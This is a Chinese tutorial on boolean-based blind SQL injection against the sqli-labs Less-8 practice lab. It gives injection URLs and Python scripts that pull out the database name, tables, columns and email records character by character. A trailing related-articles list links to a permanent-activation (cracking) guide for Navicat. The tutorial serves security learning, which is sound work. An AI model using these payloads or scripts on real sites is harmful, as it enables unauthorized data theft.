SQL注入之基于布尔的盲注详解
基于布尔的盲注
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
由于本次是布尔注入，手注无法完整地进行脱裤。所以在本节需要编写大量的代码来帮助我们进行SQL注入，得到数据。所以在这章里面会有很多的Python代码。
本次的示例就是Less-8。
通过进行下面的语句的注入测试
http://localhost/sqlilabs/Less-8/?id=2' http://localhost/sqlilabs/Less-8/?id=2" http://localhost/sqlilabs/Less-8/?id=2\
进行测试的时候，只有在id=2'的时候页面无法显示内容。输入的语句如果符合要求，页面就会显示内容，但是显示的内容都是一样的。这种情况下页面上的输出对于我们来说是完全没有用的，包括SQL执行出错的信息都不会在页面上显示。这种情况下之前的通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的啦。这种情况下就是一个典型的SQL盲注了。
我们通过页面是否显示内容来判断我们的SQL语句是否正确，进而猜解数据库的信息。
通过上面的注入测试，我们知道后台的SQL的注入语句的写法是:
select field from table where id='userinput'
id参数是被单引号包括的。其他的信息我们就无法得到了。
得到数据库的名称
在得到数据库的名称之前，首先需要得到数据库的长度
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23 http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23 以此类推 .....
发现当值为8的时候，页面就没有显示。那么说明database()的长度是8。
得到了datbase()的长度之后，接下来就是得到database()的名称了。
这个时候就不能完全靠手注了，必须编写Python代码来完成。其中最主要就是进行大量的注入测试来判断程序执行正确和出错的时机，然后断定当前的值可能就是正确的值。
下面就是一个简单的使用Python来进行布尔盲注获取数据的代码。
def get_db_name():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,9):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
得到最后的结果的是security，是正确的。
得到数据库中的表信息
其实所有的SQL注入步骤都是类似的。首先得到数据库的名称(这一步不是必须的)，然后得到当前数据库的表名称，然后得到表的字段，最后进行脱裤。这个步骤在前一章已经有说明了。
首先看一个简单的SQL盲注获取数据库表信息的写法。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23
其实还是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1这样的语句来得到表的信息，但是现在是无法在页面上显示的，而是通过盲注来一个字符一个字符的获取表名。
接下也同样是通过编写Python代码来获取表名了。代码也和上面的类似。主要就是修改中的URl。在进行Python获取表名之前，我们同样需要知道表名的长度。
使用如下的语句就可以得到了。
获取表名的SQL注入的写法就是如下
http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
通过这种方式我们知道数据库表中的第一个表名的长度是6。知道了表名的长度之后，接下来的Python脚本就很好写了。
def get_table_name():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1,7):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
最后得到了第一个表名是emails,如果要得到其他的表名只需要将代码limit 0,1修改成为limit 1,1或者是其他的就可以了。
得到表名的列信息
在得到列名之前，同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度，那么就可以使用如下的语句来获取。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23
修改num的值即可，从0开始一直到到程序出错。通过这种方法，我们得到在emails中存在2个字段，字段的长度分别是2，8。
得到了字段长度之后，接下来就是进行布尔注入得到字段名称了。
在编写代码之前，还是来看如何写获取字段名称的sql语句吧。下面这个代码就是用来获取字段名称的代码。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23
我们编写的Python代码也是利用上面这个代码来获取字段名称。
def get_column_name():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,3):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
通过上面这个代码，我们可以得到在emails表中存在的字段名称分别是id和email_id
脱裤
在得到了字段名称之后，接下来最重要的一步就是进行脱裤了。
在进行脱裤之前，我们首先判断在emails表中有多少条记录。
使用的语句如下：
http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23
修改>0中的0依次为1，2，3之后，我们得到在emails表中一共存在8条记录。
那么接下来就是进行脱裤了。
在脱裤之前，我们首先要知道当前记录的长度，这个SQL语句也很好写。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23
最后我们知道在emails表中的第一条记录中的email_id的长度是16.
知道了长度之后，代码就很好写了。
def get_data():
result = ""
url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,17):
for char in chars:
char_ascii = ord(char)
url = url_template.format(i,char_ascii)
response = requests.get(url)
length = len(response.text)
#返回的长度只有706和722
if length>706:
result += char
break
print(result)
通过上面的这段代码就得到了内容是Dumb@dhakkan.com,其他的内容就同样通过这段方式得到数据了。这里就不作演示了。
总结
其实基于布尔盲注和基于时间的盲注都是需要编写大量的代码，就像本篇的文章一样。之前在简单的SQL注入中，一句SQL注入代码就可以解决的问题在这里就需要编写Python代码来进行大量的注入测试才能够得到内容。其实之前我也很少完整的用Python来编写SQL注入代码完成整个布尔盲注的注入过程。通过本章的编写，熟悉了使用Python代码完整地进行一次布尔盲注的过程了，学习了很多。以上就是这篇文章的全部内容了，希望对大家能有所帮助。
相关文章
这篇文章主要介绍了redis安装、配置、使用和redis php扩展安装教程,其中redis使用的是编译安装,同时介绍了redis常用配置说明、常用命令,要的朋友可以参考下2014-05-05
2024 Navicat Premium最新版简体中文版激活永久图文详细教程（亲测可用）
这篇文章主要介绍了2024 Navicat Premium最新版简体中文版激活永久图文详细教程,文章通过图文结合的方式给大家讲解的非常详细,具有一定的参考价值,需要的朋友可以参考下2024-09-09
Navicat是MySQL非常好用的可视化管理工具,功能非常强大,能满足我们日常数据库开发的所有需求,下面这篇文章主要给大家介绍了关于使用Navicat导入和导出sql语句的相关资料,需要的朋友可以参考下2023-03-03
公司要在openEuler系统中安装openGauss数据库,经过几天的查资料,终于是安装成功了,并且能在navicat中远程连接使用,本文给大家介绍如何使用navicat远程连接openGauss,感兴趣的朋友跟随小编一起看看吧2023-10-10
Navicat是一款轻量级的用于MySQL连接和管理的工具,非常好用,使用起来方便快捷,简洁,下面我会简单的讲一下其安装以及使用的方法,感兴趣的朋友一起看看吧2023-10-10
Clickhouse数据表、数据分区partition的基本操作代码
clickhouse的分区是指将数据按照分区键进行划分,每个分区可以包含多个数据块,这篇文章主要介绍了Clickhouse数据表、数据分区partition的基本操作代码,需要的朋友可以参考下2023-11-11
这篇文章主要介绍了50条SQL查询技巧、查询语句示例,本文以学生表、课程表、成绩表、教师表为例,讲解不同需求下的SQL语句写法,需要的朋友可以参考下2015-06-06
Navicat premium连接数据库出现:2003 Can''t connect to MySQL server o
这篇文章主要介绍了Navicat premium连接数据库出现:2003 - Can't connect to MySQL server on 'localhost' (10061 "Unknown error")的问题,本文给大家介绍的非常详细，对大家的学习或工作具有一定的参考借鉴价值，需要的朋友可以参考下2020-11-11
这篇文章介绍了SQL实现分页查询方法总结，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习学习吧2021-12-12
这篇文章主要介绍了Django项目中优化数据库操作总结，有需要的朋友可以借鉴参考下，希望可以有所帮助，祝大家共进步，早日升职加薪2021-09-09
最新评论